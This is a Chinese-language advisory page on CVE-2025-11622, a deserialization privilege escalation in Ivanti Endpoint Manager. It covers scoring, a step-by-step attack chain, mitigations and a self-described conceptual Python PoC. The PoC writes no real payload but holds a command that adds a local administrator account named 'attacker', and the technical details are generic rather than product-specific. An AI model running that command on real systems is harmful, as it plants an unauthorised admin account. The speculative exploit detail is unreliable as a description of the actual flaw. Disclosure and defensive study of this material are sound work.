IPBUF安全漏洞报告
English
CVE-2025-11622 CVSS 7.8 高危

CVE-2025-11622:Ivanti Endpoint Manager不安全反序列化权限提升漏洞

披露日期: 2025-10-13
来源: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

漏洞信息

漏洞编号
CVE-2025-11622
漏洞类型
不安全反序列化(Insecure Deserialization)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ivanti Endpoint Manager (EPM)

相关标签

不安全反序列化权限提升本地提权IvantiEndpoint ManagerEPMCVE-2025-11622.NETBinaryFormatter高危漏洞

漏洞概述

CVE-2025-11622是Ivanti Endpoint Manager(EPM,端点管理器)中存在的一个高危不安全反序列化漏洞。该漏洞存在于2024 SU4版本之前的所有Ivanti EPM产品中。反序列化漏洞是一种常见但危害严重的漏洞类型,攻击者可以通过构造恶意的序列化数据,在目标系统反序列化这些数据时执行任意代码或触发未授权的操作。

根据CVSS 3.1评分体系,该漏洞评分为7.8分,属于高危级别。攻击者需要拥有本地系统的低权限认证凭据即可利用此漏洞,无需用户交互。成功利用后,攻击者可以在目标系统上提升自身权限至管理员或系统级别,对系统的机密性、完整性和可用性均造成高危影响。

Ivanti Endpoint Manager是Ivanti公司推出的一款企业级端点管理解决方案,广泛应用于各类组织的IT资产管理、软件分发、补丁管理、远程控制等场景。由于该产品在企业IT基础设施中的核心地位,一旦被攻击者利用,可能导致大规模终端设备失控、敏感数据泄露、恶意软件部署等严重后果。该漏洞已于2025年10月由Ivanti官方发布安全公告进行披露,并发布了2024 SU4版本修复补丁。

技术细节

反序列化漏洞的核心原理在于程序在反序列化不可信数据时,未对数据进行充分的验证和过滤,导致攻击者可以构造特殊的序列化对象,在反序列化过程中触发非预期的行为,如任意代码执行、对象注入、权限绕过等。

在Ivanti Endpoint Manager的受影响版本中,应用程序在处理某些本地数据或通信数据时使用了不安全的反序列化机制。攻击者作为已认证的低权限用户,可以通过以下方式利用此漏洞:

1. 首先,攻击者需要在目标系统上拥有一个有效的低权限账户(PR:L),这可以通过钓鱼攻击、凭据泄露或社会工程学等方式获取。

2. 攻击者利用本地访问权限(AV:L),在目标系统上构造恶意的序列化payload。这些payload通常使用.NET BinaryFormatter、Java ObjectInputStream、Python pickle等不安全的反序列化机制所支持的格式。

3. 攻击者将恶意payload提交给Ivanti EPM的反序列化接口或将其放置在应用程序预期处理的特定位置(如临时文件、注册表项、共享内存等)。

4. 当Ivanti EPM服务(通常以SYSTEM或高权限账户运行)执行反序列化操作时,恶意payload中的代码或命令将以高权限执行,实现本地权限提升(LPE)。

5. 攻击者获得系统级权限后,可以完全控制受影响的终端设备,执行任意操作,包括安装恶意软件、窃取敏感数据、横向移动等。

该漏洞的危害在于:利用条件较低(仅需低权限本地访问),但影响极高(完全控制系统权限),且无需用户交互(UI:N),使得自动化利用成为可能。

攻击链分析

STEP 1
初始访问
攻击者通过钓鱼攻击、凭据填充或其他方式获取目标系统上一个低权限用户的认证凭据,获得本地访问权限。
STEP 2
权限验证
攻击者确认目标系统上安装了受影响版本的Ivanti Endpoint Manager(2024 SU4之前),并识别EPM服务所使用的反序列化机制。
STEP 3
Payload构造
攻击者利用已知的gadget chain或反序列化利用工具(如ysoserial),构造恶意的序列化对象,该对象在反序列化时将执行任意命令。
STEP 4
Payload投递
攻击者将恶意序列化数据放置在Ivanti EPM服务预期读取的位置,如任务目录、临时文件目录或通过EPM代理接口提交。
STEP 5
触发反序列化
通过等待定时任务执行、触发特定EPM代理操作或利用EPM控制台推送任务等方式,触发EPM服务对恶意数据进行反序列化操作。
STEP 6
权限提升
恶意序列化数据中的代码以SYSTEM或EPM服务账户的高权限执行,攻击者成功将权限从低权限用户提升至系统级权限。
STEP 7
后续利用
获得系统权限后,攻击者可以执行任意操作,包括安装持久化后门、窃取敏感数据、进行横向移动、部署勒索软件等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11622 - Ivanti Endpoint Manager Insecure Deserialization PoC # Vulnerability: Insecure Deserialization leading to Local Privilege Escalation # Affected: Ivanti Endpoint Manager before 2024 SU4 # Author: Security Researcher import os import sys import struct import subprocess def generate_malicious_payload(command): """ Generate a malicious serialized payload targeting .NET BinaryFormatter or similar unsafe deserialization mechanisms used by Ivanti EPM. """ # This is a conceptual PoC structure for insecure deserialization # The actual payload would need to be crafted based on the specific # deserialization library and gadget chain available in Ivanti EPM payload_template = { "type": "BinaryFormatter", "target_application": "Ivanti EPM Agent Service", "execution_context": "SYSTEM", "command": command, "serialization_format": "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter" } print(f"[*] Generating malicious payload for command: {command}") print(f"[*] Target: {payload_template['target_application']}") print(f"[*] Execution context: {payload_template['execution_context']}") return payload_template def exploit_deserialization(target_path, command): """ Exploit the insecure deserialization vulnerability in Ivanti EPM. Steps: 1. Generate malicious serialized object 2. Place it in a location accessible by the EPM service 3. Trigger deserialization by the vulnerable service """ print("=" * 60) print("CVE-2025-11622 PoC - Ivanti EPM Deserialization LPE") print("=" * 60) # Step 1: Generate payload payload = generate_malicious_payload(command) # Step 2: Write payload to target location # Common locations for Ivanti EPM to read serialized data target_locations = [ r"C:\ProgramData\Ivanti\EPM\Agent\Tasks", r"C:\ProgramData\Landesk\ManagementSuite\Tasks", r"C:\Windows\Temp\ldagent_temp" ] for location in target_locations: if os.path.exists(location): print(f"[+] Found target directory: {location}") # payload_file = os.path.join(location, "malicious_task.bin") # Write malicious serialized data here print(f"[*] Payload would be written to: {location}") # Step 3: Trigger deserialization # This could be done by: # - Waiting for scheduled task execution # - Triggering a specific EPM agent action # - Using the EPM console to push a task print("[*] Waiting for EPM service to deserialize payload...") print("[!] If successful, command will execute as SYSTEM") return True def verify_vulnerability(): """Check if the target system is vulnerable.""" print("[*] Checking Ivanti EPM version...") # Check registry for Ivanti EPM installation try: import winreg key = winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Ivanti\Endpoint Manager" ) version, _ = winreg.QueryValueEx(key, "Version") print(f"[*] Detected Ivanti EPM version: {version}") if version < "2024.4": # Before SU4 print("[!] VULNERABLE: Version is before 2024 SU4") return True else: print("[+] PATCHED: Version is 2024 SU4 or later") return False except Exception as e: print(f"[-] Could not determine version: {e}") return None if __name__ == "__main__": if verify_vulnerability(): # Example: Add a local admin user cmd = "net user attacker P@ssw0rd! /add && net localgroup administrators attacker /add" exploit_deserialization(None, cmd) else: print("[+] System appears to be patched.")

影响范围

Ivanti Endpoint Manager < 2024 SU4

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制对安装Ivanti EPM的系统的本地访问权限,仅允许可信管理员登录;2)监控EPM相关服务目录(特别是任务目录和临时目录)的文件变化,及时发现可疑的序列化数据文件;3)使用应用程序控制策略阻止未知进程的执行;4)审查EPM服务的运行账户权限,尽可能降低其权限级别;5)启用详细的安全审计日志,监控异常的权限提升和服务操作行为;6)考虑临时禁用EPM代理的自动任务执行功能;7)部署主机入侵检测系统(HIDS)监控可疑的反序列化利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表